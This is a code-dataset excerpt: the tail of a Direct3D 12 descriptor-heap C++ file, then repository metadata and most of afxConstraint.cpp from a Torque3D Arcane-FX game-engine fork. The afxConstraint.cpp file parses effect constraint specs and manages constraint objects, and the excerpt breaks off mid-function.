DebugLog(" Device %u CPU starts at 0x%IX and GPU starts at 0x%IX\n",
i, mDescriptorHeaps[i]->GetCPUDescriptorHandleForHeapStart().ptr, mDescriptorHeaps[i]->GetGPUDescriptorHandleForHeapStart().ptr);
}
#ifdef D3DX_AFFINITY_ENABLE_HEAP_POINTER_VALIDATION
// Validation
{
std::lock_guard<std::mutex> lock(GetParentDevice()->MutexPointerRanges);
GetParentDevice()->CPUHeapPointerRanges.push_back(std::make_pair((SIZE_T)mCPUHeapStart, (SIZE_T)(mCPUHeapStart + mNumDescriptors * NodeCount)));
GetParentDevice()->GPUHeapPointerRanges.push_back(std::make_pair((SIZE_T)mGPUHeapStart, (SIZE_T)(mGPUHeapStart + mNumDescriptors * NodeCount)));
}
#endif
}
CD3DX12AffinityDescriptorHeap::CD3DX12AffinityDescriptorHeap(CD3DX12AffinityDevice* device, ID3D12DescriptorHeap** descriptorHeaps, UINT Count)
: CD3DX12AffinityPageable(device, reinterpret_cast<ID3D12Pageable**>(descriptorHeaps), Count)
, mCPUHeapStart(nullptr)
, mGPUHeapStart(nullptr)
{
for (UINT i = 0; i < D3DX12_MAX_ACTIVE_NODES; i++)
{
if (i < Count)
{
mDescriptorHeaps[i] = descriptorHeaps[i];
}
else
{
mDescriptorHeaps[i] = nullptr;
}
}
#ifdef DEBUG_OBJECT_NAME
mObjectTypeName = L"DescriptorHeap";
#endif
}
CD3DX12AffinityDescriptorHeap::~CD3DX12AffinityDescriptorHeap()
{
if (mCPUHeapStart != nullptr)
{
delete[] mCPUHeapStart;
}
if (mGPUHeapStart != nullptr)
{
delete[] mGPUHeapStart;
}
}
ID3D12DescriptorHeap* CD3DX12AffinityDescriptorHeap::GetChildObject(UINT AffinityIndex)
{
return mDescriptorHeaps[AffinityIndex];
}
| 35.310606 | 152 | 0.705428 | JJoosten |
78a506c0257b7eab139f53474adf266a447cc617 | 64,498 | cpp | C++ | Engine/source/afx/afxConstraint.cpp | John3/faustlogic_Torque3D-plus-AFX | 45ea3c81707c944792cd785f87e86bc8085f654a | [
"Unlicense"
] | 13 | 2015-04-13T21:46:01.000Z | 2017-11-20T22:12:04.000Z | Engine/source/afx/afxConstraint.cpp | John3/faustlogic_Torque3D-plus-AFX | 45ea3c81707c944792cd785f87e86bc8085f654a | [
"Unlicense"
] | 1 | 2015-11-16T23:57:12.000Z | 2015-12-01T03:24:08.000Z | Engine/source/afx/afxConstraint.cpp | John3/faustlogic_Torque3D-plus-AFX | 45ea3c81707c944792cd785f87e86bc8085f654a | [
"Unlicense"
] | 7 | 2015-04-14T23:27:16.000Z | 2022-03-29T00:45:37.000Z |
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// Arcane-FX for MIT Licensed Open Source version of Torque 3D from GarageGames
// Copyright (C) 2015 Faust Logic, Inc.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
//
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
#include "arcaneFX.h"
#include "T3D/aiPlayer.h"
#include "T3D/tsStatic.h"
#include "sim/netConnection.h"
#include "ts/tsShapeInstance.h"
#include "afxConstraint.h"
#include "afxChoreographer.h"
#include "afxEffectWrapper.h"
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxConstraintDef
// static
StringTableEntry afxConstraintDef::SCENE_CONS_KEY;
StringTableEntry afxConstraintDef::EFFECT_CONS_KEY;
StringTableEntry afxConstraintDef::GHOST_CONS_KEY;
afxConstraintDef::afxConstraintDef()
{
if (SCENE_CONS_KEY == 0)
{
SCENE_CONS_KEY = StringTable->insert("#scene");
EFFECT_CONS_KEY = StringTable->insert("#effect");
GHOST_CONS_KEY = StringTable->insert("#ghost");
}
reset();
}
bool afxConstraintDef::isDefined()
{
return (def_type != CONS_UNDEFINED);
}
bool afxConstraintDef::isArbitraryObject()
{
return ((cons_src_name != ST_NULLSTRING) && (def_type == CONS_SCENE));
}
void afxConstraintDef::reset()
{
cons_src_name = ST_NULLSTRING;
cons_node_name = ST_NULLSTRING;
def_type = CONS_UNDEFINED;
history_time = 0;
sample_rate = 30;
runs_on_server = false;
runs_on_client = false;
pos_at_box_center = false;
treat_as_camera = false;
}
bool afxConstraintDef::parseSpec(const char* spec, bool runs_on_server,
bool runs_on_client)
{
reset();
if (spec == 0 || spec[0] == '\0')
return false;
history_time = 0.0f;
sample_rate = 30;
this->runs_on_server = runs_on_server;
this->runs_on_client = runs_on_client;
// spec should be in one of these forms:
// CONSTRAINT_NAME (only)
// CONSTRAINT_NAME.NODE (shapeBase objects only)
// CONSTRAINT_NAME.#center
// object.OBJECT_NAME
// object.OBJECT_NAME.NODE (shapeBase objects only)
// object.OBJECT_NAME.#center
// effect.EFFECT_NAME
// effect.EFFECT_NAME.NODE
// effect.EFFECT_NAME.#center
// #ghost.EFFECT_NAME
// #ghost.EFFECT_NAME.NODE
// #ghost.EFFECT_NAME.#center
//
// create scratch buffer by duplicating spec.
char special = '\b';
char* buffer = dStrdup(spec);
// substitute a dots not inside parens with special character
S32 n_nested = 0;
for (char* b = buffer; (*b) != '\0'; b++)
{
if ((*b) == '(')
n_nested++;
else if ((*b) == ')')
n_nested--;
else if ((*b) == '.' && n_nested == 0)
(*b) = special;
}
// divide name into '.' separated tokens (up to 8)
char* words[8] = {0, 0, 0, 0, 0, 0, 0, 0};
char* dot = buffer;
int wdx = 0;
while (wdx < 8)
{
words[wdx] = dot;
dot = dStrchr(words[wdx++], special);
if (!dot)
break;
*(dot++) = '\0';
if ((*dot) == '\0')
break;
}
int n_words = wdx;
// at this point the spec has been split into words.
// n_words indicates how many words we have.
// no words found (must have been all whitespace)
if (n_words < 1)
{
dFree(buffer);
return false;
}
char* hist_spec = 0;
char* words2[8] = {0, 0, 0, 0, 0, 0, 0, 0};
int n_words2 = 0;
// move words to words2 while extracting #center and #history
for (S32 i = 0; i < n_words; i++)
{
if (dStrcmp(words[i], "#center") == 0)
pos_at_box_center = true;
else if (dStrncmp(words[i], "#history(", 9) == 0)
hist_spec = words[i];
else
words2[n_words2++] = words[i];
}
// words2[] now contains just the constraint part
// no words found (must have been all #center and #history)
if (n_words2 < 1)
{
dFree(buffer);
return false;
}
if (hist_spec)
{
char* open_paren = dStrchr(hist_spec, '(');
if (open_paren)
{
hist_spec = open_paren+1;
if ((*hist_spec) != '\0')
{
char* close_paren = dStrchr(hist_spec, ')');
if (close_paren)
(*close_paren) = '\0';
char* slash = dStrchr(hist_spec, '/');
if (slash)
(*slash) = ' ';
F32 hist_age = 0.0;
U32 hist_rate = 30;
S32 args = dSscanf(hist_spec,"%g %d", &hist_age, &hist_rate);
if (args > 0)
history_time = hist_age;
if (args > 1)
sample_rate = hist_rate;
}
}
}
StringTableEntry cons_name_key = StringTable->insert(words2[0]);
// must be in CONSTRAINT_NAME (only) form
if (n_words2 == 1)
{
// arbitrary object/effect constraints must have a name
if (cons_name_key == SCENE_CONS_KEY || cons_name_key == EFFECT_CONS_KEY)
{
dFree(buffer);
return false;
}
cons_src_name = cons_name_key;
def_type = CONS_PREDEFINED;
dFree(buffer);
return true;
}
// "#scene.NAME" or "#scene.NAME.NODE""
if (cons_name_key == SCENE_CONS_KEY)
{
cons_src_name = StringTable->insert(words2[1]);
if (n_words2 > 2)
cons_node_name = StringTable->insert(words2[2]);
def_type = CONS_SCENE;
dFree(buffer);
return true;
}
// "#effect.NAME" or "#effect.NAME.NODE"
if (cons_name_key == EFFECT_CONS_KEY)
{
cons_src_name = StringTable->insert(words2[1]);
if (n_words2 > 2)
cons_node_name = StringTable->insert(words2[2]);
def_type = CONS_EFFECT;
dFree(buffer);
return true;
}
// "#ghost.NAME" or "#ghost.NAME.NODE"
if (cons_name_key == GHOST_CONS_KEY)
{
if (runs_on_server)
{
dFree(buffer);
return false;
}
cons_src_name = StringTable->insert(words2[1]);
if (n_words2 > 2)
cons_node_name = StringTable->insert(words2[2]);
def_type = CONS_GHOST;
dFree(buffer);
return true;
}
// "CONSTRAINT_NAME.NODE"
if (n_words2 == 2)
{
cons_src_name = cons_name_key;
cons_node_name = StringTable->insert(words2[1]);
def_type = CONS_PREDEFINED;
dFree(buffer);
return true;
}
// must be in unsupported form
dFree(buffer);
return false;
}
void afxConstraintDef::gather_cons_defs(Vector<afxConstraintDef>& defs, afxEffectList& fx)
{
for (S32 i = 0; i < fx.size(); i++)
{
if (fx[i])
fx[i]->gather_cons_defs(defs);
}
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxConstraint
afxConstraint::afxConstraint(afxConstraintMgr* mgr)
{
this->mgr = mgr;
is_defined = false;
is_valid = false;
last_pos.zero();
last_xfm.identity();
history_time = 0.0f;
is_alive = true;
gone_missing = false;
change_code = 0;
}
afxConstraint::~afxConstraint()
{
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
inline afxPointConstraint* newPointCons(afxConstraintMgr* mgr, bool hist)
{
return (hist) ? new afxPointHistConstraint(mgr) : new afxPointConstraint(mgr);
}
inline afxTransformConstraint* newTransformCons(afxConstraintMgr* mgr, bool hist)
{
return (hist) ? new afxTransformHistConstraint(mgr) : new afxTransformConstraint(mgr);
}
inline afxShapeConstraint* newShapeCons(afxConstraintMgr* mgr, bool hist)
{
return (hist) ? new afxShapeHistConstraint(mgr) : new afxShapeConstraint(mgr);
}
inline afxShapeConstraint* newShapeCons(afxConstraintMgr* mgr, StringTableEntry name, bool hist)
{
return (hist) ? new afxShapeHistConstraint(mgr, name) : new afxShapeConstraint(mgr, name);
}
inline afxShapeNodeConstraint* newShapeNodeCons(afxConstraintMgr* mgr, StringTableEntry name, StringTableEntry node, bool hist)
{
return (hist) ? new afxShapeNodeHistConstraint(mgr, name, node) : new afxShapeNodeConstraint(mgr, name, node);
}
inline afxObjectConstraint* newObjectCons(afxConstraintMgr* mgr, bool hist)
{
return (hist) ? new afxObjectHistConstraint(mgr) : new afxObjectConstraint(mgr);
}
inline afxObjectConstraint* newObjectCons(afxConstraintMgr* mgr, StringTableEntry name, bool hist)
{
return (hist) ? new afxObjectHistConstraint(mgr, name) : new afxObjectConstraint(mgr, name);
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxConstraintMgr
#define CONS_BY_ID(id) ((*constraints_v[(id).index])[(id).sub_index])
#define CONS_BY_IJ(i,j) ((*constraints_v[(i)])[(j)])
afxConstraintMgr::afxConstraintMgr()
{
starttime = 0;
on_server = false;
initialized = false;
scoping_dist_sq = 1000.0f*1000.0f;
missing_objs = &missing_objs_a;
missing_objs2 = &missing_objs_b;
}
afxConstraintMgr::~afxConstraintMgr()
{
for (S32 i = 0; i < constraints_v.size(); i++)
{
for (S32 j = 0; j < (*constraints_v[i]).size(); j++)
delete CONS_BY_IJ(i,j);
delete constraints_v[i];
}
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//
S32 afxConstraintMgr::find_cons_idx_from_name(StringTableEntry which)
{
for (S32 i = 0; i < constraints_v.size(); i++)
{
afxConstraint* cons = CONS_BY_IJ(i,0);
if (cons && afxConstraintDef::CONS_EFFECT != cons->cons_def.def_type &&
which == cons->cons_def.cons_src_name)
{
return i;
}
}
return -1;
}
S32 afxConstraintMgr::find_effect_cons_idx_from_name(StringTableEntry which)
{
for (S32 i = 0; i < constraints_v.size(); i++)
{
afxConstraint* cons = CONS_BY_IJ(i,0);
if (cons && afxConstraintDef::CONS_EFFECT == cons->cons_def.def_type &&
which == cons->cons_def.cons_src_name)
{
return i;
}
}
return -1;
}
// Defines a predefined constraint with given name and type
void afxConstraintMgr::defineConstraint(U32 type, StringTableEntry name)
{
preDef predef = { name, type };
predefs.push_back(predef);
}
afxConstraintID afxConstraintMgr::setReferencePoint(StringTableEntry which, Point3F point,
Point3F vector)
{
S32 idx = find_cons_idx_from_name(which);
if (idx < 0)
return afxConstraintID();
afxConstraintID id = afxConstraintID(idx);
setReferencePoint(id, point, vector);
return id;
}
afxConstraintID afxConstraintMgr::setReferenceTransform(StringTableEntry which, MatrixF& xfm)
{
S32 idx = find_cons_idx_from_name(which);
if (idx < 0)
return afxConstraintID();
afxConstraintID id = afxConstraintID(idx);
setReferenceTransform(id, xfm);
return id;
}
// Assigns an existing scene-object to the named constraint
afxConstraintID afxConstraintMgr::setReferenceObject(StringTableEntry which, SceneObject* obj)
{
S32 idx = find_cons_idx_from_name(which);
if (idx < 0)
return afxConstraintID();
afxConstraintID id = afxConstraintID(idx);
setReferenceObject(id, obj);
return id;
}
// Assigns an un-scoped scene-object by scope_id to the named constraint
afxConstraintID afxConstraintMgr::setReferenceObjectByScopeId(StringTableEntry which, U16 scope_id, bool is_shape)
{
S32 idx = find_cons_idx_from_name(which);
if (idx < 0)
return afxConstraintID();
afxConstraintID id = afxConstraintID(idx);
setReferenceObjectByScopeId(id, scope_id, is_shape);
return id;
}
afxConstraintID afxConstraintMgr::setReferenceEffect(StringTableEntry which, afxEffectWrapper* ew)
{
S32 idx = find_effect_cons_idx_from_name(which);
if (idx < 0)
return afxConstraintID();
afxConstraintID id = afxConstraintID(idx);
setReferenceEffect(id, ew);
return id;
}
afxConstraintID afxConstraintMgr::createReferenceEffect(StringTableEntry which, afxEffectWrapper* ew)
{
afxEffectConstraint* cons = new afxEffectConstraint(this, which);
//cons->cons_def = def;
cons->cons_def.def_type = afxConstraintDef::CONS_EFFECT;
cons->cons_def.cons_src_name = which;
afxConstraintList* list = new afxConstraintList();
list->push_back(cons);
constraints_v.push_back(list);
return setReferenceEffect(which, ew);
}
void afxConstraintMgr::setReferencePoint(afxConstraintID id, Point3F point, Point3F vector)
{
afxPointConstraint* pt_cons = dynamic_cast<afxPointConstraint*>(CONS_BY_ID(id));
// need to change type
if (!pt_cons)
{
afxConstraint* cons = CONS_BY_ID(id);
pt_cons = newPointCons(this, cons->cons_def.history_time > 0.0f);
pt_cons->cons_def = cons->cons_def;
CONS_BY_ID(id) = pt_cons;
delete cons;
}
pt_cons->set(point, vector);
// nullify all subnodes
for (S32 j = 1; j < (*constraints_v[id.index]).size(); j++)
{
afxConstraint* cons = CONS_BY_IJ(id.index,j);
if (cons)
cons->unset();
}
}
void afxConstraintMgr::setReferenceTransform(afxConstraintID id, MatrixF& xfm)
{
afxTransformConstraint* xfm_cons = dynamic_cast<afxTransformConstraint*>(CONS_BY_ID(id));
// need to change type
if (!xfm_cons)
{
afxConstraint* cons = CONS_BY_ID(id);
xfm_cons = newTransformCons(this, cons->cons_def.history_time > 0.0f);
xfm_cons->cons_def = cons->cons_def;
CONS_BY_ID(id) = xfm_cons;
delete cons;
}
xfm_cons->set(xfm);
// nullify all subnodes
for (S32 j = 1; j < (*constraints_v[id.index]).size(); j++)
{
afxConstraint* cons = CONS_BY_IJ(id.index,j);
if (cons)
cons->unset();
}
}
void afxConstraintMgr::set_ref_shape(afxConstraintID id, ShapeBase* shape)
{
id.sub_index = 0;
afxShapeConstraint* shape_cons = dynamic_cast<afxShapeConstraint*>(CONS_BY_ID(id));
// need to change type
if (!shape_cons)
{
afxConstraint* cons = CONS_BY_ID(id);
shape_cons = newShapeCons(this, cons->cons_def.history_time > 0.0f);
shape_cons->cons_def = cons->cons_def;
CONS_BY_ID(id) = shape_cons;
delete cons;
}
// set new shape on root
shape_cons->set(shape);
// update all subnodes
for (S32 j = 1; j < (*constraints_v[id.index]).size(); j++)
{
afxConstraint* cons = CONS_BY_IJ(id.index,j);
if (cons)
{
if (dynamic_cast<afxShapeNodeConstraint*>(cons))
((afxShapeNodeConstraint*)cons)->set(shape);
else if (dynamic_cast<afxShapeConstraint*>(cons))
((afxShapeConstraint*)cons)->set(shape);
else if (dynamic_cast<afxObjectConstraint*>(cons))
((afxObjectConstraint*)cons)->set(shape);
else
cons->unset();
}
}
}
void afxConstraintMgr::set_ref_shape(afxConstraintID id, U16 scope_id)
{
id.sub_index = 0;
afxShapeConstraint* shape_cons = dynamic_cast<afxShapeConstraint*>(CONS_BY_ID(id));
// need to change type
if (!shape_cons)
{
afxConstraint* cons = CONS_BY_ID(id);
shape_cons = newShapeCons(this, cons->cons_def.history_time > 0.0f);
shape_cons->cons_def = cons->cons_def;
CONS_BY_ID(id) = shape_cons;
delete cons;
}
// set new shape on root
shape_cons->set_scope_id(scope_id);
// update all subnodes
for (S32 j = 1; j < (*constraints_v[id.index]).size(); j++)
{
afxConstraint* cons = CONS_BY_IJ(id.index,j);
if (cons)
cons->set_scope_id(scope_id);
}
}
// Assigns an existing scene-object to the constraint matching the given constraint-id.
void afxConstraintMgr::setReferenceObject(afxConstraintID id, SceneObject* obj)
{
if (!initialized)
Con::errorf("afxConstraintMgr::setReferenceObject() -- constraint manager not initialized");
if (!CONS_BY_ID(id)->cons_def.treat_as_camera)
{
ShapeBase* shape = dynamic_cast<ShapeBase*>(obj);
if (shape)
{
set_ref_shape(id, shape);
return;
}
}
afxObjectConstraint* obj_cons = dynamic_cast<afxObjectConstraint*>(CONS_BY_ID(id));
// need to change type
if (!obj_cons)
{
afxConstraint* cons = CONS_BY_ID(id);
obj_cons = newObjectCons(this, cons->cons_def.history_time > 0.0f);
obj_cons->cons_def = cons->cons_def;
CONS_BY_ID(id) = obj_cons;
delete cons;
}
obj_cons->set(obj);
// update all subnodes
for (S32 j = 1; j < (*constraints_v[id.index]).size(); j++)
{
afxConstraint* cons = CONS_BY_IJ(id.index,j);
if (cons)
{
if (dynamic_cast<afxObjectConstraint*>(cons))
((afxObjectConstraint*)cons)->set(obj);
else
cons->unset();
}
}
}
// Assigns an un-scoped scene-object by scope_id to the constraint matching the
// given constraint-id.
void afxConstraintMgr::setReferenceObjectByScopeId(afxConstraintID id, U16 scope_id, bool is_shape)
{
if (!initialized)
Con::errorf("afxConstraintMgr::setReferenceObject() -- constraint manager not initialized");
if (is_shape)
{
set_ref_shape(id, scope_id);
return;
}
afxObjectConstraint* obj_cons = dynamic_cast<afxObjectConstraint*>(CONS_BY_ID(id));
// need to change type
if (!obj_cons)
{
afxConstraint* cons = CONS_BY_ID(id);
obj_cons = newObjectCons(this, cons->cons_def.history_time > 0.0f);
obj_cons->cons_def = cons->cons_def;
CONS_BY_ID(id) = obj_cons;
delete cons;
}
obj_cons->set_scope_id(scope_id);
// update all subnodes
for (S32 j = 1; j < (*constraints_v[id.index]).size(); j++)
{
afxConstraint* cons = CONS_BY_IJ(id.index,j);
if (cons)
cons->set_scope_id(scope_id);
}
}
void afxConstraintMgr::setReferenceEffect(afxConstraintID id, afxEffectWrapper* ew)
{
afxEffectConstraint* eff_cons = dynamic_cast<afxEffectConstraint*>(CONS_BY_ID(id));
if (!eff_cons)
return;
eff_cons->set(ew);
// update all subnodes
for (S32 j = 1; j < (*constraints_v[id.index]).size(); j++)
{
afxConstraint* cons = CONS_BY_IJ(id.index,j);
if (cons)
{
if (dynamic_cast<afxEffectNodeConstraint*>(cons))
((afxEffectNodeConstraint*)cons)->set(ew);
else if (dynamic_cast<afxEffectConstraint*>(cons))
((afxEffectConstraint*)cons)->set(ew);
else
cons->unset();
}
}
}
void afxConstraintMgr::invalidateReference(afxConstraintID id)
{
afxConstraint* cons = CONS_BY_ID(id);
if (cons)
cons->is_valid = false;
}
void afxConstraintMgr::create_constraint(const afxConstraintDef& def)
{
if (def.def_type == afxConstraintDef::CONS_UNDEFINED)
return;
//Con::printf("CON - %s [%s] [%s] h=%g", def.cons_type_name, def.cons_src_name, def.cons_node_name, def.history_time);
bool want_history = (def.history_time > 0.0f);
// constraint is an arbitrary named scene object
//
if (def.def_type == afxConstraintDef::CONS_SCENE)
{
if (def.cons_src_name == ST_NULLSTRING)
return;
// find the arbitrary object by name
SceneObject* arb_obj;
if (on_server)
{
arb_obj = dynamic_cast<SceneObject*>(Sim::findObject(def.cons_src_name));
if (!arb_obj)
Con::errorf("afxConstraintMgr -- failed to find scene constraint source, \"%s\" on server.",
def.cons_src_name);
}
else
{
arb_obj = find_object_from_name(def.cons_src_name);
if (!arb_obj)
Con::errorf("afxConstraintMgr -- failed to find scene constraint source, \"%s\" on client.",
def.cons_src_name);
}
// if it's a shapeBase object, create a Shape or ShapeNode constraint
if (dynamic_cast<ShapeBase*>(arb_obj))
{
if (def.cons_node_name == ST_NULLSTRING && !def.pos_at_box_center)
{
afxShapeConstraint* cons = newShapeCons(this, def.cons_src_name, want_history);
cons->cons_def = def;
cons->set((ShapeBase*)arb_obj);
afxConstraintList* list = new afxConstraintList();
list->push_back(cons);
constraints_v.push_back(list);
}
else if (def.pos_at_box_center)
{
afxShapeConstraint* cons = newShapeCons(this, def.cons_src_name, want_history);
cons->cons_def = def;
cons->set((ShapeBase*)arb_obj);
afxConstraintList* list = constraints_v[constraints_v.size()-1]; // SHAPE-NODE CONS-LIST (#scene)(#center)
if (list && (*list)[0])
list->push_back(cons);
}
else
{
afxShapeNodeConstraint* sub = newShapeNodeCons(this, def.cons_src_name, def.cons_node_name, want_history);
sub->cons_def = def;
sub->set((ShapeBase*)arb_obj);
afxConstraintList* list = constraints_v[constraints_v.size()-1];
if (list && (*list)[0])
list->push_back(sub);
}
}
// if it's not a shapeBase object, create an Object constraint
else if (arb_obj)
{
if (!def.pos_at_box_center)
{
afxObjectConstraint* cons = newObjectCons(this, def.cons_src_name, want_history);
cons->cons_def = def;
cons->set(arb_obj);
afxConstraintList* list = new afxConstraintList(); // OBJECT CONS-LIST (#scene)
list->push_back(cons);
constraints_v.push_back(list);
}
else // if (def.pos_at_box_center)
{
afxObjectConstraint* cons = newObjectCons(this, def.cons_src_name, want_history);
cons->cons_def = def;
cons->set(arb_obj);
afxConstraintList* list = constraints_v[constraints_v.size()-1]; // OBJECT CONS-LIST (#scene)(#center)
if (list && (*list)[0])
list->push_back(cons);
}
}
}
// constraint is an arbitrary named effect
//
else if (def.def_type == afxConstraintDef::CONS_EFFECT)
{
if (def.cons_src_name == ST_NULLSTRING)
return;
// create an Effect constraint
if (def.cons_node_name == ST_NULLSTRING && !def.pos_at_box_center)
{
afxEffectConstraint* cons = new afxEffectConstraint(this, def.cons_src_name);
cons->cons_def = def;
afxConstraintList* list = new afxConstraintList();
list->push_back(cons);
constraints_v.push_back(list);
}
// create an Effect #center constraint
else if (def.pos_at_box_center)
{
afxEffectConstraint* cons = new afxEffectConstraint(this, def.cons_src_name);
cons->cons_def = def;
afxConstraintList* list = constraints_v[constraints_v.size()-1]; // EFFECT-NODE CONS-LIST (#effect)
if (list && (*list)[0])
list->push_back(cons);
}
// create an EffectNode constraint
else
{
afxEffectNodeConstraint* sub = new afxEffectNodeConstraint(this, def.cons_src_name, def.cons_node_name);
sub->cons_def = def;
afxConstraintList* list = constraints_v[constraints_v.size()-1];
if (list && (*list)[0])
list->push_back(sub);
}
}
// constraint is a predefined constraint
//
else
{
afxConstraint* cons = 0;
afxConstraint* cons_ctr = 0;
afxConstraint* sub = 0;
if (def.def_type == afxConstraintDef::CONS_GHOST)
{
for (S32 i = 0; i < predefs.size(); i++)
{
if (predefs[i].name == def.cons_src_name)
{
if (def.cons_node_name == ST_NULLSTRING && !def.pos_at_box_center)
{
cons = newShapeCons(this, want_history);
cons->cons_def = def;
}
else if (def.pos_at_box_center)
{
cons_ctr = newShapeCons(this, want_history);
cons_ctr->cons_def = def;
}
else
{
sub = newShapeNodeCons(this, ST_NULLSTRING, def.cons_node_name, want_history);
sub->cons_def = def;
}
break;
}
}
}
else
{
for (S32 i = 0; i < predefs.size(); i++)
{
if (predefs[i].name == def.cons_src_name)
{
switch (predefs[i].type)
{
case POINT_CONSTRAINT:
cons = newPointCons(this, want_history);
cons->cons_def = def;
break;
case TRANSFORM_CONSTRAINT:
cons = newTransformCons(this, want_history);
cons->cons_def = def;
break;
case OBJECT_CONSTRAINT:
if (def.cons_node_name == ST_NULLSTRING && !def.pos_at_box_center)
{
cons = newShapeCons(this, want_history);
cons->cons_def = def;
}
else if (def.pos_at_box_center)
{
cons_ctr = newShapeCons(this, want_history);
cons_ctr->cons_def = def;
}
else
{
sub = newShapeNodeCons(this, ST_NULLSTRING, def.cons_node_name, want_history);
sub->cons_def = def;
}
break;
case CAMERA_CONSTRAINT:
cons = newObjectCons(this, want_history);
cons->cons_def = def;
cons->cons_def.treat_as_camera = true;
break;
}
break;
}
}
}
if (cons)
{
afxConstraintList* list = new afxConstraintList();
list->push_back(cons);
constraints_v.push_back(list);
}
else if (cons_ctr && constraints_v.size() > 0)
{
afxConstraintList* list = constraints_v[constraints_v.size()-1]; // PREDEF-NODE CONS-LIST
if (list && (*list)[0])
list->push_back(cons_ctr);
}
else if (sub && constraints_v.size() > 0)
{
afxConstraintList* list = constraints_v[constraints_v.size()-1];
if (list && (*list)[0])
list->push_back(sub);
}
else
Con::printf("predef not found %s", def.cons_src_name);
}
}
afxConstraintID afxConstraintMgr::getConstraintId(const afxConstraintDef& def)
{
if (def.def_type == afxConstraintDef::CONS_UNDEFINED)
return afxConstraintID();
if (def.cons_src_name != ST_NULLSTRING)
{
for (S32 i = 0; i < constraints_v.size(); i++)
{
afxConstraintList* list = constraints_v[i];
afxConstraint* cons = (*list)[0];
if (def.cons_src_name == cons->cons_def.cons_src_name)
{
for (S32 j = 0; j < list->size(); j++)
{
afxConstraint* sub = (*list)[j];
if (def.cons_node_name == sub->cons_def.cons_node_name &&
def.pos_at_box_center == sub->cons_def.pos_at_box_center &&
def.cons_src_name == sub->cons_def.cons_src_name)
{
return afxConstraintID(i, j);
}
}
// if we're here, it means the root object name matched but the node name
// did not.
if (def.def_type == afxConstraintDef::CONS_PREDEFINED && !def.pos_at_box_center)
{
afxShapeConstraint* shape_cons = dynamic_cast<afxShapeConstraint*>(cons);
if (shape_cons)
{
//Con::errorf("Append a Node constraint [%s.%s] [%d,%d]", def.cons_src_name, def.cons_node_name, i, list->size());
bool want_history = (def.history_time > 0.0f);
afxConstraint* sub = newShapeNodeCons(this, ST_NULLSTRING, def.cons_node_name, want_history);
sub->cons_def = def;
((afxShapeConstraint*)sub)->set(shape_cons->shape);
list->push_back(sub);
return afxConstraintID(i, list->size()-1);
}
}
break;
}
}
}
return afxConstraintID();
}
afxConstraint* afxConstraintMgr::getConstraint(afxConstraintID id)
{
if (id.undefined())
return 0;
afxConstraint* cons = CONS_BY_IJ(id.index,id.sub_index);
if (cons && !cons->isDefined())
return NULL;
return cons;
}
void afxConstraintMgr::sample(F32 dt, U32 now, const Point3F* cam_pos)
{
U32 elapsed = now - starttime;
for (S32 i = 0; i < constraints_v.size(); i++)
{
afxConstraintList* list = constraints_v[i];
for (S32 j = 0; j < list->size(); j++)
(*list)[j]->sample(dt, elapsed, cam_pos);
}
}
S32 QSORT_CALLBACK cmp_cons_defs(const void* a, const void* b)
{
afxConstraintDef* def_a = (afxConstraintDef*) a;
afxConstraintDef* def_b = (afxConstraintDef*) b;
if (def_a->def_type == def_b->def_type)
{
if (def_a->cons_src_name == def_b->cons_src_name)
{
if (def_a->pos_at_box_center == def_b->pos_at_box_center)
return (def_a->cons_node_name - def_b->cons_node_name);
else
return (def_a->pos_at_box_center) ? 1 : -1;
}
return (def_a->cons_src_name - def_b->cons_src_name);
}
return (def_a->def_type - def_b->def_type);
}
void afxConstraintMgr::initConstraintDefs(Vector<afxConstraintDef>& all_defs, bool on_server, F32 scoping_dist)
{
initialized = true;
this->on_server = on_server;
if (scoping_dist > 0.0)
scoping_dist_sq = scoping_dist*scoping_dist;
else
{
SceneManager* sg = (on_server) ? gServerSceneGraph : gClientSceneGraph;
F32 vis_dist = (sg) ? sg->getVisibleDistance() : 1000.0f;
scoping_dist_sq = vis_dist*vis_dist;
}
if (all_defs.size() < 1)
return;
// find effect ghost constraints
if (!on_server)
{
Vector<afxConstraintDef> ghost_defs;
for (S32 i = 0; i < all_defs.size(); i++)
if (all_defs[i].def_type == afxConstraintDef::CONS_GHOST && all_defs[i].cons_src_name != ST_NULLSTRING)
ghost_defs.push_back(all_defs[i]);
if (ghost_defs.size() > 0)
{
// sort the defs
if (ghost_defs.size() > 1)
